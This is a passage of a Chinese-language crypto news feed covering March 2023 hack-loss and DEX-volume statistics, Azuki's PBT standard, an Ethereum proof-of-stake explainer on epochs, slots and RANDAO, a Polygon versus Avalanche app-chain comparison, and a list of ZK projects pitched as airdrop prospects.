同样的我们进行“Transfer”转账功能，需要自己重建一个小号或者转给他人，选择对应的native地址或者EVM地址，这样我们就完成了整个交互 完成目前整个交互后，就可以做做crew3任务，5ire在crew3任务挺多，慢慢做。  ( 2 min )
    数据：3月安全事件共造成约2.1亿美元的损失
    PANews 3月31日消息，据欧科云链OKLink安全团队监测，2023年3月安全事件共造成约2.1亿美元损失，与上个月相比，本月安全事件数量和损失金额均有显著上升。其中Euler Finance被黑客攻击，导致1.97亿美元的加密货币被盗，这是今年迄今为止加密货币损失金额最大的一次黑客攻击。 此外，RugPull数量和损失金额也出现了显著增长，社交媒体诈骗等事件仍然屡有发生，例如Twitter项目方账户伪造和官方Discord被攻击发布钓鱼链接等。  ( 1 min )
    PAData：本月DEX交易量环比增长72%，衍生品单月交易量创2022年来新高
    PANews3月31日消息，本月DeFi市场出现回暖迹象，DEX的交易量有所回升，尤其是衍生品类交易量增长明显。根据DuneAnalytics（@hagaetc）的数据[1]，3月DEX的交易量达到了1288.16亿美元，较去年同比增长了8.69%，较前年同比增长了118.40%。而且仅从今年年内来看，3月DEX的交易量分别较2月环比增长了71.99%，较1月环比增长了112.94%。其中，Uniswap、Curve和Sushiswap是交易量最高的3个市场。 从DEX的细分领域来看，本月衍生品交易量增长明显，不仅首次突破200亿美元，而且为2022年以来单月最高值。根据DuneAnalytics（@shogun）的数据，本月衍生品的交易额约为251.5亿美元，较2月环比增长了48.64%，较1月环比增长了125.16%。其中，GMX是本月交易额最高的市场，约为92.5亿美元，占总额的36.78%。不过，本月的交易地址数并没有创短期新高，只有22.27万个，较2月环比增长了11.80%，较1月则下跌了36.68%。 DEX作为DeFi中的重要细分领域，其交易量的回暖也带动了以太坊上DeFi类交易次数的增长。根据glassnode的统计，3月30日以太坊上DeFi类交易次数占总交易次数的比重（30天均值）约为4.729%，较月内最低点4.389%已回升了约0.5个百分点，与月初水平相当。从图形来看，本月以太坊上DeFi类交易次数占比已经走出了一个平缓的“U”曲线，目前已度过最低点，并开始进入上升趋势。 不过，DeFi市场的回暖趋势还未更直观层面体现为代币价格和锁仓量上涨。根据Messari跟踪的154种DeFi类代币价格数据，最近30天，按市值权重计算的平均价格还下跌了8.74%，不过最近7天，按市值权重计算的平均价格实现了2.99%的增长。 根据DefiLlama统计的锁仓量来看，当前DeFi的总锁仓量约为496.5亿美元，较本月最低的429.7亿美元增长了15.55%，但仍未超过500亿美元的整数线。不过，从月内走势来看，总锁仓量已经走出了一个“V”字型，当前锁仓量与本月初的基本相当。   数据说明： [1] 尽管DuneAnalytics（@hagaetc）关于DEX交易量的统计面板创建时间较早，涵括的协议版本也较早，但这不影响对DEX交易量趋势的判断。通常而言，新协议的交易量高于旧协议，实际增长可能高于本文引用的面板数据。  ( 1 min )
    半年后看，Azuki提出的PBT方案是NFT新叙事还是伪命题？
    原文：《把NFT带进现实的PBT方案，对潮牌、​潮玩的吸引力有多大？》 作者：北辰 在数字化的时代，将资产映射为数据是大势所趋，今天在区块链上创建数字资产并不难，难的是创建的资产有价值。 区块链世界的资产形式往往是FT和NFT（以及链茶馆此前介绍的介于二者之间的SFT），它们在链上的逻辑是成立的，可以准确描述资产并高效流通，但很难用来描述（或者说锚定）链下的资产。 Azuki去年10月份推出的PBT（Physical Backed Token）标准就是一种把现实资产映射到链上的解决方案，虽然推出至今没有多大起色，但我们仍认为这种方案（至少是这种思路）很有前景。（推荐阅读：《Azuki PBT：打破次元壁，Scan to Own模式能否引发新一轮Web3革命？》） PBT方案本质上是NFT（EIP-721）的扩展，它的模式被概括为「Scan to Own」。 简单来说就是给实物（例如滑板）装个芯片，每个芯片对应了一个NFT，在交易实物的时候，买方扫一下芯片，卖方的钱包会跳出NFT转移请求，同意后就会连NFT都转移给对方。 这里的芯片是由Azuki与Kong合作创建的BEAN芯片，可以自动生成非对称密钥对。 对于crypto原教旨主义者来说，这种方式就跟若干年前的溯源链一样没劲，因为区块链在这里似乎只是充当了点缀的作用。 但如果我们站在数字化的浪潮之巅来看PBT方案，就会发现它给NFT找了个连接现实世界的通道，能够被现实世界的品牌方（从大品牌到小品牌）广泛采用。 对品牌方来说，PBT方案的吸引点在于：它可以把所有权从实物资产上剥离出来，这样更有利于流通，而且也真正实现了溯源（单纯获得实物并不意味着你真正拥有它）。 不过PBT方案显然适用于滑板、潮鞋这种有二次流通价值的产品，像一次性内裤就大可不必了…… 尽管如此，PBT方案面向的市场潜力仍远大于「粉丝代币」。这里说句题外话，在上一轮牛市中，「粉丝代币」的发展对不住「粉丝经济」这么大的体量。我们很看好「粉丝代币」在下一轮牛市中的表现（不是随便发个币来割一茬的那种）。 正如Azuki官方Chiru Labs所言，“PBT能够使品牌和创作者为社区创造下一代的叙事和体验“。相比之下，品牌方买个Bored Ape的NFT来宣传就是小儿科了。 第一个支持PBT的案例是在去年10月份与PBT方案一起推出的，Azuki镀金滑板，全球限量9个，售价250万美元，创下了滑板拍卖的世界记录。 然后在11月份联合日系街头潮牌AMBUSH推出了4件单品——两件卫衣和两件吊坠，由AMBUSH和Azuki的创始人们亲自设计，并邀请横跨美日的流行偶像Mandy Sekiguchi担任模特。 之后Azuki的PBT方案没有了音讯，可能是团队的工作重心放在了元宇宙，向虚拟世界探索就无暇顾及往现实世界拓展。 当然还有一个原因是Azuki的PBT方案是在以太坊上，而且还需要定制芯片，最终的成本不适用于大规模生产的商品。 而继续推进PBT方案的是中国的灵境藏品，携手Web3 IP品牌角麦麦推出《蝴蚂-金斑喙凤蝶》T恤数藏，解决了成本问题——部署在蚂蚁链，芯片是通用的NFC。 怎么说呢，路径没问题，但怎么看怎么土狗（无意冒犯，但……）。 回归到上文所说的PBT方案适用领域——有二次流通价值的实物产品，而目前最有可能的切入口是针对Z世代的潮牌、潮玩。 当然，我们认为这需要时间，主要是品牌方了解、接受并付诸于行动需要时间。至于有没有品牌方或者VC愿意尝试这个方案，欢迎讨论交流～  ( 1 min )
    英国央行：CBDC可成为比特币等数字货币和TradFi之间的“桥接资产”
    PANews 3月31日消息，据Decrypt报道，当被问及潜在CBDC将如何与比特币或资产支持的稳定币共存时，英国央行的CBDC负责人Katie Fortune表示，统一的支付生态系统可以促进创新并带来“所需求的新用例”。 她认为，在稳定币和其他数字形式货币的世界中，拥有一种央行数字货币可以成为所有这些不同形式货币之间的桥梁资产，这可能真的很强大。这种统一性“只是一种社会公益”，而不是“某种政府控制问题”，这与当局已经提供的服务和基础设施类似，“允许其他人做他们需要做的事情，为未来创新”。  ( 1 min )
    数据：Magic Eden比特币NFT市场日交易量占比超70%，系最大Ordinals市场
    PANews 3月31日消息，Dune Analytics数据显示，比特币Ordinals市场总交易量达1590.83万美元，交易笔数为38843笔，唯一用户数达18462人。自Magic Eden推出比特币生态NFT市场以来，该平台上的日交易量一直领先。3月30日，Magic Eden的Ordinals市场交易量约为25.56万美元，约占当日总交易量35.8万美元的71.4%。从当日交易量来看，第二大市场Ordinals市场为“Ordinals Market”,市场份额达13.4%。其次为“Ordinals Wallet”，市场份额达10.5%，其他市场的份额均不到5%。  ( 1 min )
    解读以太坊POS工作原理：Epoch、Slot 与信标区块
    来源：《Epochs, Slots and Beacon Blocks》by Patrick McCorry 翻译：John, ECN 审阅：Franci, ECN 使用权益证明的以太坊的独特性在于参与者数量的最大化设计。它允许成百上千和成千上万的验证者活跃地参与决策过程。在笔者撰文时已经有大约 50 万的验证者实体（从协议的角度而言）在活跃地参与这个过程。 事实上，在约 384 秒（6 分 24 秒）内，所有活跃中的验证者将有机会投下一票或提议一个区块。在约 384 秒内至少有 50 万条信息广播，而且所有信息必须在严格的时间范围内传递。据我所知，没有其他共识协议被设计来处理如此活跃和庞大的共识参与者集。 至于通信模型方面，共识协议是为以下三种情况之一设计的（通常）： 大多数现代共识协议都是为部分同步通信而设计的，因为它假设大部分时间条件良好，但由于事件可能会在短时间内中断通信，所以存在不可预测的时期。另一方面，值得注意的是，权益证明的以太坊是为同步通信设计的。 题外话--Casper FFG 是为部分同步通信而设计的，但 LMD-GHOST 的严格计时条件迫使整个系统必须同步。我们将在今后的文章中解释什么是 Casper 和 LMD-GHOST。 它假定在绝大多数的验证者中几乎没有中断，而且所有的信息必须在固定的最后期限前被记录在信标区块链上，这些信息才能被计入/使用。如果出现中断，导致信息延迟传递，那么发送者将根据其延迟程度而招致惩罚。在最坏的情况下，如果错过了最后期限，那么消息将被忽略，信息发送者将受到不活跃的最大惩罚。惩罚政策将在未来的文章中介绍。 为了更好地理解同步通信模型，我们涵盖了 Epochs & Slots 的主题。它定义了验证者被允许参与的时间，以及围绕消息传递的严格时间窗口。如果违反了时间窗口，不管是什么原因，那么就不能保证其他验证者会就迟到的消息到达时采取行动。最后，我们将介绍验证者如何被分配到一个时间槽（time slot），以及消息如何被记录在信标区块链中。 如果你想深入了解各种通信设置，那么我建议阅读这篇文章。这里也有关于 ETH2 是部分同步通信还是同步通信的精彩讨论。 每个 epoch 有 32 个 slot，每个验证者在每个 epoch 正好被分配到一个槽位。一个 slot 是一个 12 秒的时间窗口，期间验证者可以参与权益证明协议，对新的信标区块进行提议或投票。 slot 按 epoch 分组，epoch 和 slot 为验证者参与权益证明协议扮演一个时间表的角色： 一个 epoch 代表了权益证明协议的一个完整的回合， slot 为验证者提供了一个参与该回合的机会。在一个 epoch 结束时，所有活跃的验证者都有机会参与。 Slot 委员会一个验证者在一个 epoch 中正好被分配到一个 slot，所有验证者被平均分配到各个 slot，组成委员会。 一个 slot 里有两种角色： 每个 epoch 有 32 个区块提议者（每个 slot 一个），所有验证者都有机会参与权益证明协议，向他们认为应该是规范信标链（canonical beacon chain）的链头投出一票。 一个 slot 代表了一个严格的时间窗口，供一个验证者提议一个区块，委员会成员对一个区块进行投票，最后将所有该 slot 的活动广播给下一个 slot 的区块提议者。 Slot 和时间条件所有 slot 都是按照时间顺序一个接一个地产生的。每一个 slot 都准确地按照 12 秒一个被分配出来，并被分成三个阶段： 所有的区块和投票都是在一个 slot 的委员会内进行广播。在委员会中有一个额外的角色，叫做聚合者，他们会在将证明传递给下一个 slot 的区块提议者之前将其聚合。他们是自选的，这是一个自愿的角色，以减少通信的成本。我们将暂时跳过具体细节--因为这将在未来的文章中涉及。 如果一个提议的区块或见证是在截止日期之后发布的，那么就不能保证该活动会被其他验证者认可。例如，一个迟到的区块可能会被跳过，因为这个 slot 的见证者可能已经为其父块投了票。一个迟到的见证将被其他见证者在一个 epoch 中处理，最多迟到 32 个 slot，并有不同程度的惩罚。如果它在 32 个 slot 之后被发布，那么它将不会被任何验证者处理。 最后提醒一下，这个严格的时间窗口保证了运行验证者所需的带宽和计算能力的下限，因为他们必须要有准时接收、处理、发送见证/区块的能力。 我们在一个 epoch 里考虑分配验证者到 slot 里的过程。所有的 slot 委员会的规模大致相同。他们根据一个随机信标的输出完成分配，并且提前两个 epoch 进行。这要求使用一个混洗协议和一个同带信号传输随机性的源。 混洗协议所有验证者都根据一个叫 swap-or-not 的混洗协议被分配到一个 slot 里去。我们不会去探讨这个混洗协议的细节，而是会把注意力集中到随机信标的计算方法上，这个方法奠定了混洗协议执行方式的基础。 随机信标所有验证者通过一个随机信标被分配，这个随机信标使用了一个叫 RANDAO 的协议。其目的是在新的区块被添加到规范链上时通过聚合随机性来形成随机信标。 对于每一个新的区块而言，有两个阶段： 正如我们所能看到的，每一个信标区块都包括了一个随机信标，添加并汇聚了所有之前的区块的随机性。 验证者们通过第 N 个 Epoch 最后的随机信标被分配到第 N+2 个 Epoch 的 slot 里 /* * 区块提议者在当前 epoch 号码上进行一次 BLS 签名 * 以充当这个区块的随机信标 * 一个非常好的地方在于签名是确定的（验证者无法篡改它），但是直到签名被计算出来之前都是无法预测的 */ DOMAIN_RANDAO = 0x02000000; // 一个签名里包含的神奇数字epoch_hash = hash(current_epoch_number, DOMAIN_RANDAO); // 要签署的哈希码randao_reveal = BLS.sign(epoch_hash, sk); // BLS 签名是 RANDAO /* * 使用区块的随机性，进行哈希计算，然后把哈希码混合到现在聚集起来的随机性里 */ previous_mix = get_previous_mix(parent_block); // 来自父块的混合（Mix）randao_reveal = new_block.randao_reveal; // 取得新区块的randao mix = previous_mix XOR hash(randao_reveal); // 计算新的混合store_new_mix(new_block); // 把新的“混合”（mix）和新的区块联系在一起 分配会提前 2 个 epoch 发生所有验证者都会使用最后那个被接受的区块汇聚起来的 mix 值作为随机信标，并在混洗算法中使用它。它会计算得出未来两个 epoch 的验证者委员会。 所以，如果我们考虑目前的 epoch 为第 N 个，那么这个 epoch 里的最后那个信标区块会作为随机信标决定第 N+2 个 epoch 的委员会分配。 验证者们有充足的时间查找它们被分配到的 slot，因为它们提前两个 epoch 就知道了。换句话说，未来 64 个 slot 的验证者的分配是早就公之于众了的 (约 2 个 epoch）。 随机信标的可偏倚性（bias-ability)只有一个 mix 能被混洗协议使用，那就是一个 epoch 中最后一个被接受的区块的 mix 值。 最后一个被接受的区块不会总是那个在第 32 个 slot 被提议的区块。而是最后一个 slot 的区块，也就是被所有验证者认可为区块链链头的那个区块。举个例子，如果第 32 个 slot 没有区块被提议产生（或者它迟到了），那么第 32 个 slot 的验证者委员会就会为之前在第 31 个 slot 被提议产生的前一个区块投票。 攻击者可以利用这点来使随机信标出现偏差。让我们假设攻击者是第 32 个 slot 的区块提议者。他可以决定这么干： 这种决定权使得攻击者可以使随机信标出现 1 个字节的偏倚，并最终决定到底两个验证者分配组合里中的哪一个会在未来的一个 epoch 里被使用。实际上如果攻击者控制了一个 epoch 里最后 N 个区块的区块提议者们，那么它们可以利用这个机会释放或暂缓释放一个 N 个区块的组合。目前还缺乏一项严格的研究，来了解针对最后 N 个 slot 的偏倚能力的全部范围及其影响。 一个信标区块的数据结构 一个单独的信标区块包含了它在信标区块链里所处位置的元数据、执行链的数据、以及权益证明协议的一份副本。我们会在下文探讨更多细节。 一个 slot 的区块提议者会尝试扩展规范链，并且只能选择一个父块。 信标父块一个区块的提议者的目标是提议并添加一个新的信标区块到一个规范链的头。若要这么做的话，它们只能选择一个父块来进行扩展。父块应该是当前的链头，它在元数据中的代表是 parent_root。 Epoch 和 slot 组织验证者产生唯一一条规范信标区块链。 Slot ≠ 信标区块一个信标区块记录了它的 slot 号码的元数据（一个 epoch 号码的倍数）。它允许其他验证者检查区块提议者是否确实被指定为这个 slot 提议一个区块，这个区块是否就是被提议的那个区块。如果 slot 的号码错误，那么区块会被拒绝。 重点在于，一个区块在区块链里的位置不会与它在其中被提议的 slot 号码相对应。举个例子，如果我们检查第 5184157 个 slot，那么我们会看到第 16015362 个区块，这种不匹配是无法避免的，因为无法保证一个被分配的 slot 里被提议的区块会被所有其他验证者投票通过，而且以太坊从开始到现在运行了超过 7 年了。 执行链数据区块提议者会提议两个区块，它们提议一个执行区块，给用户的交易排序，并把它附加到新产生的信标区块上。这并不奇怪，因为共识层的最终目的就在于为执行层决定规范链。 区块提议者同样负责从执行层转移信息到信标层上，并使其准备好为权益证明协议所用。这包括： 这要求所有的验证者运行一个信标客户端和一个执行客户端。这是必要的，因为验证者们必须检查对应的 ETH1 区块并根据执行层规则验证其有效性。同样地，正如我们在关于注册过程的文章里讨论的一样，存款必须在一个特定的区块间隔期内从执行层上被转移到一个信标区块上，否则信标区块会被拒绝。 通过记录下副本，每一个人都可以独立地回顾整个协议，并且绝对相信目前信标链的状态是正确的。比如说，恶意的验证者会被及时罚没，slot 和 epoch 的时间表受到全体验证者的认可，绝大多数验证者都会以这种方式投票并产生单独一条规范链。 题外话，由于弱主观性的缘故，虽然权益证明的记录可以使我们信服所有历史活动都是按照规则进行的，但是尚不足以向一个外部群体说明这确实是那条真实的信标区块链。简单来说就是它提供了一个检查历史活动完整性的方法。 原文链接：https://stonecoldpat.substack.com/p/epochs-slots-and-beacon-blocks  ( 4 min )
    应用链进展如何？多维度对比Polygon Supernets和Avalanche Subnets
    3月22日，NFT游戏Aavegotchi宣布正利用Polygon Supernets推出自己的区块链Gotchichain。在Cosmos和Polkadot等多链生态系统之后，Avalanche、Polygon等也先后推出了专属的App Chains（应用链）服务，本文将从多个维度对比同为Layer 1的Avalanche和Polygon推出的Subnets与Supernets方案。 Polygon和Avalanche都是兼容EVM且得益于以太坊价值外溢而发展起来的Layer 1区块链。 Polygon号称是以太坊扩容的“瑞士军刀”提供了多种扩容解决方案，包括Polygon PoS侧链、EVM等效的zk Rollup方案Polygon zkEVM、适用于应用链的Polygon Supernets和还未上线的zk-optimized Rollup方案Polygon Miden。Polygon Supernets迭代于生态中原有的Polygon Edge，旨在实现与EVM兼容的、特定于应用程序的主权区块链。Polygon Supernets被设计为“超级网络”，为开发人员提供更多特性和功能，使他们能轻松构建、部署基于区块链的解决方案。 Avalanche Subnets让所有人都能根据自己的需求自定义私有或公共区块链网络，Subnets可以与Avalanche生态系统无缝连接，不与其它应用竞争网络资源，实现无限扩展。随着Avalanche C-chain上费用的增加，Subnets也能在Avalanche生态中整体交易量上升的同时降低Subnets上用户的交易费用。 Polygon Supernets和Avalanche Subnets都是可定制的，可满足特定应用程序的需求，在大多数应用场景下两者是竞争关系。 性能指标 虽然Polygon Supernets和Avalanche Subnets都是App Chains的解决方案，但两者在实现的细节上有一些异同点。 EVM：均支持EVM，Avalanche Subnets还支持自定义的虚拟机。 跨链桥：都有到Polygon或Avalanche的跨链桥，可访问对应Layer 1上的生态。 共识机制：Polygon Supernets为IBFT权益证明或IBFT权威证明机制，Avalanche Subnets为Snowman共识机制。 TPS：Polygon Supernets为1500+，Avalanche Subnets为4500+。 验证者：Polygon Supernets验证者数量最多100个，Avalanche Subnets验证者数量没有限制，Avalanche Subnets上的验证者需要同时验证主网。 验证者质押需求：均需要抵押对应公链的原生代币，分别为2万MATIC和2000 AVAX。 Polygon和Avalanche双方都有针对Supernets和Subnets的官方激励计划。Polygon Supernets于2022年2月推出，曾在2022年3月表示计划投资5亿美元，用于有兴趣在Supernet上进行开发的项目。今年3月22日，Polygon宣布已有游戏、DeFi等领域的十家公司将推出自己的Polygon Supernets。过去一年Polygon Labs开发人员努力升级Polygon Supernets技术栈，解决社区反馈，让有兴趣推出专有链的项目能更方便的使用Supernets。 2022年3月，Avalanche基金会推出400万AVAX（当时价值2.9亿美元）的Multiverse激励计划，以加速Subnets的发展。Avalanche Multiverse的第一批合作者包括DeFi Kingdom、Aave、Golden Tree Asset Management、Wintermute、Jump Crypto、Valkyrie和Securitize。Aave创始人Stani Kulechov表示，Avalanche Subnets能够为机构创造一个理想的环境，以便在线上迁移，并让大家作为用户体验这些协议的力量。 Avalanche Subnets可以让项目根据特定的业务需求设计区块链，可以进行KYC和其它定制化功能，以促进Web3的大规模采用。截至3月29日，Avalanche Subnets官网显示的已经上线的项目只有Crabada和DeFi Kingdom两款游戏，还有Wild Life、Shrapnel、Ascenders等游戏将要上线。DeFi Kingdoms作为Avalanche Subnets上的代表项目，Avalanche在Multiverse激励计划在推出时，就对外宣传将为DeFi Kingdoms提供高达1500万美元的奖励。DeFi Kingdoms最初建立在Harmony上，原生代币为$JEWEL。在部署至Avalanche Subnets上独立为DFK Chain后，$JEWEL在作为治理代币的同时还可以用于支付Gas费，并在DFK Chain上新发行了一种代币$CRYSTAL。根据目前的数据，Avalanche Subnets的部署并没有让DeFi Kingdoms迎来新的机会。截至3月29日，原生代币$JEWEL的价格为0.188美元，与2022年1月的21美元高点相比已经下跌超过99%，DFK Chain上的流动性不到600万美元。 Polygon Edge上曾有35个项目，包括预测市场SX Network、去中心化旅游项目Zo World、印度北阿坎德邦的地方政府用于跟踪学校医疗设备的Settlemint等。但Polygon的文档显示Polygon Supernets的主网正在进行审计，预计在2023年第二季度上线。在2023年3月最新发布的文章中，Polygon仅介绍了第一批计划使用Supernets构建的十个项目。包括游戏领域的Nexon、Plai Labs，DeFi领域的Nu、Lemon、Ripio，企业领域的Acentrik和Gaia-x等都计划推出自己的Supernets。此外Polygon还联合了Axelar、ANKR、Airchains、Band、Layer Zero、Sequence等合作伙伴为项目提供支持。 从目前的情况看，Polygon和Avalanche双方都对各自的应用链解决方案Supernets和Subnets投入了很多资源，如用原生代币进行激励、和行业其它提供商合作提供定制化服务，让相关项目能够快速完成部署。 但目前这两个解决方案都还缺乏代表性的项目，DeFi Kingdoms部署到Avalanche Subnets后表现不佳，可见对于项目方，App Chain也并非实现增长的良药。而Polygon Supernets主网尚未发布，Polygon扩容解决方案的重心还有包括zkEVM在内的多种方案。此前，市场曾预言之后应用链会遍地开花的时代还尙处早期，未来应用链会如何发展PANews将持续关注。  ( 2 min )
    ZK是终局？盘点12个未发币热门ZK赛道Alpha
    近期Arbitrum因为发行空投，再一次将Layer 2叙事带火，当OP Rollup上，两大赛道optimism和Arbitrum纷纷落地，且带来了巨大的财富效应。另一大L2叙事主力ZK赛道便成为了当前行业目光最为关注的对象之一。事实上，从落地前景上来看，ZK Rollup尽管难度比OP Rollup大很多，但其发展前景也会比OP Rollup更广阔。 毕竟OP Rollup的发展，只针对ERC范畴，未免有种螺丝壳里做道场的局限。但ZK Rollup则能为ERC范畴以外的领域提供助力，甚至零知识证明的实现能够对整个现实社会的信任证明带来帮助，更具有现实意义。 3月24日，Matter Labs CEO Gluchowski在接受The Block采访时表示，zkSync在约一年时间内将实现序列器去中心化（发布Token）。 由于OP和ARB两大基础设施空投的经验，许多人都认为zkSync给行业预留出了一年的“撸空投”窗口期。因此，veDAO研究院汇总了当前行业ZK赛道还未发行Token的12个项目，或许能对2024减半周期以及zk生态爆发下的财富预期提供一些先见。 首先，我们需要对zk有一个简单的认知： 零知识证明（英语：zero-knowledge proof）或零知识协议（zero-knowledge protocol）是一方（证明者）向另一方（检验者）证明某命题的方法，特点是过程中除“该命题为真”之事外，不泄露任何资讯。因此，可理解成“零泄密证明”。例如，欲向人证明自己拥有某情报，则直接公开该情报即可，但如此则会将该细节亦一并泄露；零知识证明的精粹在于，如何证明自己拥有该情报而不必透露情报内容。这也是零知识证明的难点。 举个例子： 在整个过程中，Bob的验证行为和Alice的确认行为，均没有造成密码泄露。 这一逻辑，就是零知识证明的根本。零知识证明之所以能够在区块链和加密货币领域得到追捧，是因为人们在数字交易中对隐私和安全性的需求日益增长。随着区块链技术和加密货币的兴起，人们越来越需要一种既能验证交易又不泄露敏感信息的方法，而ZKP可以满足这一需求。 该技术对于提升区块链、加密货币和去中心化金融(DeFi)隐私和安全性的重要性日益提升。许多DeFi项目已经将ZKP应用至借贷和交易等服务中，为用户提供更好的隐私和安全性。许多Layer 1区块链正在添加基于ZKP的汇总或零知识以太坊虚拟机(zkEVM)。随着零知识证明应用的采用率日益提升，其有望在区块链和Web3领域发挥越来越重要的作用。在2022年开发者大会(DevCon)上，超20%的讨论均围绕零知识证明技术展开，表明该技术广受欢迎。 事实上，随着零知识证明概念的普及，当前已经有越来越多的DeFi类产品开始接受并使用这一新的技术。尤其是zk Rollup，目前也与OP Rollup一起成为了以太坊扩容的首选二层网络解决方案。通过使用Rollup，与一层网络相比，用户可以将燃料费减少多达100倍。 相较于OP Rollup，其优势在于：安全性更高，交易确认的时效性更强，TPS和交易成本显著优于OP Rollup；但是其劣势在于不易兼容EVM。 目前，零知识证明广泛存在于以下的赛道中： 一直以来，ZK赛道就被市场赋予了极高的预期财富回报率。这不仅是因为以太坊二层网络的实现会对行业产生会产生极大助力，更是因为在全球监管日益严厉、且因为金融危机、银行暴雷等种种黑天鹅导致用户对中心化金融世界日益加深的不信任感。基于去中心化网络的一个健全、可靠的身份、信息验证概念便越来越被重视。以至于ZK赛道的重要产品，比如zkSnyc、StarkNet和LayerZero、Arbitrum、SuiNetwork一起被称之为2023/24年最热门的空投标的。 以下为veDAO研究院特地筛选出来的，具有潜在财富效应，且尚处于“上车”早期的zk Alpha产品。 官网：https://zksync.io/ 推特：https://twitter.com/zksync 更多信息：https://app.vedao.com/projects/ zkSync是一条2链，使用ZK rollup技术来解决以太坊当前的可扩展性问题。该链自2019年以来由Matter Labs开发，目前处于Baby alpha阶段，正在进行内部主网测试。 zkSync通过使用ZK SNARK技术的低交易成本（每笔交易几美分）、受益于以太坊安全性的安全性以及去中心化等多种功能脱颖而出。zkSync还提供了互操作性，这要归功于其于2022年2月推出的V2，这使其成为第一个与EVM兼容的ZK-Rollup，这一成就本应花费数年时间。 zkSync专注于5个主要的以太坊相关属性： 官网：https://www.aleo.org/ 推特：https://twitter.com/AleoHQ 更多信息：https://app.vedao.com/projects/ Aleo是第一个支持私有和可编程应用程序的去中心化开源平台。通过默认选择退出隐私，Aleo实现了一个可持续、公平的Web3世界，可以满足开发人员、消费者和企业的需求。 Aleo使用零知识密码学来实现隐私和可编程性。零知识密码学和零知识证明允许第三方验证一条信息的真实性，而无需我们直接透露。Aleo以此作为称为ZEXE（零知识执行）系统的基础。在ZEXE中，用户离线执行状态转换。这个过程产生了一个证明，它被捆绑到一个链上交易中。该交易通过消费/创建链上记录来更新系统的状态。与Zcash一样，该系统为我们提供了强大的隐私保证，因为交易仅包含证明，而不包含生成它的输入。与以太坊一样，ZEXE可以支持智能合约，使用户能够以预定义的方式进行交互或转移价值。 官网：https://starkware.co/ 推特：https://twitter.com/StarkWareLtd 更多信息：https://app.vedao.com/projects/ StarkWare通过利用简洁的零知识证明技术，来保护区块链隐私数据，可用于从可验证计算到隐私保护加密货币等各种用途的应用。StarkWare的目的是为区块链带来透明隐私和可扩展性。StarkWare正致力于利用STARK技术改进区块链世界中至关重要的两个因素：可伸缩性和隐私。其作用不仅是促进STARK技术的使用，而且还提供“零知识、简洁、透明、明显、安全”的密码证明。 StarkWare将开发一个完整的验证堆栈：软件和硬件，以支持用于一般计算的计算完整性证明的快速和可靠的生成和验证。其报告中首次实现了一个透明的ZK系统（ZK-STARK），其中验证的规模比数据库规模快得多。 StarkWare正在大力推广以色列理工学院研发的“zk-starks”区块链隐私解决方案。该解决方案通过零知识证明协议来保护区块链隐私数据，在无需耗费大量算力和专门部署安装软件的前提下验证隐私信息，而且还能把数据压缩的更小，提高了效率、透明度和安全性。运用StarkWare技术，可以提高区块链的可扩展性和隐私性。 官网：https://aztec.network/ 推特：https://twitter.com/aztecnetwork 更多信息：https://app.vedao.com/projects/ Aztec Network的定位为基于以太坊上的隐私型ZK Rollup，旨在帮助用户私密、高效地访问以太坊生态的Dapps。该项目当前已推出了两款主要产品，一是基于Aztec Rollup的隐私转账协议zk.money，二是链接以太坊Dapps及Aztec Rollup的隐私桥Aztec Connect。 依靠zk.money和Aztec Connect，用户可以在不暴露自身信息（地址、资金等等）的情况下自由转账，并安全地访问Lido、Element、Aave、Compound、Uniswap等多个主流DeFi协议。 值得注意的是：今年3月13日，Aztec Network宣布将逐步关停其DeFi隐私桥项目Aztec Connect，并将在一周后禁用从zk.money和其他前端（如zkpay.finance）将资金存入Aztec Connect合约。 团队未来将把注意力集中到两款新的主要产品之上： 官网：https://scroll.io/ 推特：https://twitter.com/Scroll_ZKP 更多信息：https://app.vedao.com/projects/ Scroll致力于创建更通用的零知识证明扩容方案，并大胆宣布把权力下放到社区，让节点、证明人、开发者和用户一起构建Scroll社区。通过与社区一起公开建设并为链上证明和排序创建可靠路径，Scroll致力于确保所有层面均能实现去中心化。 官网：https://zklend.com/ 推特：https://twitter.com/zkLend 更多信息：https://app.vedao.com/projects/ zkLend是一个货币市场协议将zk-rollup可扩展性、卓越的交易速度和成本节约与以太坊的安全性相结合。 zkLend是一个建立在StarkNet上的L2货币市场协议，它结合了zk-rollup具有以太坊安全性的可扩展性，使参与者能够有效地赚取利息存款和无缝借入资产。Zklend发行的zend token将会由三个大的作用1.优惠借款利率；2.提高借款能力，以及3.治理参与。 目前zkLend已经完成了500万美元种子轮融资，由Delphi Digital领投，其他主要投资者包括StarkWare、Three Arrows Capital、Genesis Block Ventures、Alameda Research、CMS、MetaCartel DAO、DCVC、Amber Group、TPS Capital、Ascensive、D3 Web Capital、 4 RC和SkyVision Capital，以及其他天使投资者等。 官网：https://mintsquare.io/starknet 推特：https://twitter.com/MintSquareNFT 更多信息：https://app.vedao.com/projects/ Mint Square是ETH Layer 2 ZK Rollup上的NFT平台。Mint Square 是ETH Layer 2 ZK Rollup 上的 NFT 平台，目的在于建立最好的多链ZK Rollup NFt市场，集成StarkNet和zkSync Era两大平台。 官网：https://zkex.com/ 推特：https://twitter.com/ZKEX_Offical 更多信息：https://app.vedao.com/projects/ ZKEX是一个去中心化的L2多链订单簿交换（DEX），建立在三个ZK-rollup之上：zkLink、Starkware和zkSync。 用户将能够以Binance或Coinbase类似的体验去交易来自多个不同链的资产，但ZKEX将是去中心化的、信任最小化和非托管的，交易由零知识证明保护。 官网：https://ironfish.network/ 推特：https://twitter.com/ironfishcrypto 更多信息：https://app.vedao.com/projects/ Iron Fish是一种全新的加密货币，使用zk-SNARKs和Sapling协议，保护每一笔交易。任何人都可以运行一个节点并为其代码库作出贡献。 Iron Fish通过使用零知识证明，可以构建完全隐藏发送者、接收者和金额的私人交易，同时提供交易有效的证明。Iron Fish上的每笔交易都是私密的——除非所有者通过查看密钥授予只读权限，否则任何人都无法看到帐户的详细信息。 官网：https://ys.finance/ 推特：https://twitter.com/Yellow_Subm Yellow Submarine是首个也是唯一一个为所有与EVM兼容的链提供隐私交易的dApp。它创建了一个能够跨越任意以太坊生态系统的隐私层。 通过YS的直观界面，用户可以用MetaMask钱包在任何EVM兼容链存入一枚稳定币，如USDC，并从另一条EVM兼容链上以BUSD或USDT的形式取出，而无需任何公开的可追踪链接。YS的未来版本将允许用户保留他们持有的隐私通证——用户无需透露他们持有的通证类型，并且可随意支配。 Yellow 